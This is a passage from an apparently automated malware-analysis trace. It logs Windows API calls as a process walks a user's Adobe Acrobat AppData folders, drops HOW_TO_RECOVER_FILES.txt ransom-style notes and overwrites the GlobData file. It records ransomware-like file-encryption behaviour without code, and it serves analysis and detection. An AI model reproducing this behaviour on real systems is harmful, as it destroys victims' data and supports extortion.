lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0225.519] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0225.519] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0225.519] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0225.519] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0225.519] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0225.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0225.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0225.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0225.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpFilePart=0x0) returned 0x37 [0225.520] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0225.605] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.605] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0225.605] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0225.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0225.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0225.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0225.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpFilePart=0x0) returned 0x37 [0225.605] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0225.606] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.606] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0225.606] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0225.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0225.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0225.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0225.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0225.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\collab\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0225.607] GetFileType (hFile=0x858) returned 0x1 [0225.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0225.607] GetFileType (hFile=0x858) returned 0x1 [0225.607] WriteFile (in: hFile=0x858, lpBuffer=0x36410f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x36410f0*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0225.608] CloseHandle (hObject=0x858) returned 1 [0225.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0225.609] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpFilePart=0x0) returned 0x36 [0225.609] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0225.609] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.609] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0225.609] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0225.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0225.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0225.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0225.609] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpFilePart=0x0) returned 0x36 [0225.609] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0225.610] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.610] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0225.610] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0225.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0225.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0225.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0225.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0225.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\forms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0225.618] GetFileType (hFile=0x858) returned 0x1 [0225.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0225.618] GetFileType (hFile=0x858) returned 0x1 [0225.619] WriteFile (in: hFile=0x858, lpBuffer=0x3652210*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3652210*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0225.620] CloseHandle (hObject=0x858) returned 1 [0225.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0225.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpFilePart=0x0) returned 0x38 [0225.620] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0225.621] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.621] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobData", cAlternateFileName="")) returned 1 [0225.621] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0225.621] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0225.621] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0225.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0225.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0225.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0225.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpFilePart=0x0) returned 0x38 [0225.622] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0225.622] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.622] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobData", cAlternateFileName="")) returned 1 [0225.622] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0225.622] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 0 [0225.622] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0225.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0225.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0225.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", lpFilePart=0x0) returned 0x41 [0225.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0225.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), fInfoLevelId=0x0, lpFileInformation=0x3661768 | out: lpFileInformation=0x3661768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16)) returned 1 [0225.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0225.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", lpFilePart=0x0) returned 0x41 [0225.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0225.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0225.623] GetFileType (hFile=0x858) returned 0x1 [0225.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0225.623] GetFileType (hFile=0x858) returned 0x1 [0225.623] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x16 [0225.623] ReadFile (in: hFile=0x858, lpBuffer=0x3661a08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3661a08*, lpNumberOfBytesRead=0x204eb8c8*=0x16, lpOverlapped=0x0) returned 1 [0225.624] CloseHandle (hObject=0x858) returned 1 [0225.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", lpFilePart=0x0) returned 0x41 [0225.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0225.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0225.637] GetFileType (hFile=0x858) returned 0x1 [0225.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0225.637] GetFileType (hFile=0x858) returned 0x1 [0225.637] WriteFile (in: hFile=0x858, lpBuffer=0x36d90c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x36d90c0*, lpNumberOfBytesWritten=0x204eb7d8*=0x20, lpOverlapped=0x0) returned 1 [0225.637] CloseHandle (hObject=0x858) returned 1 [0225.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", 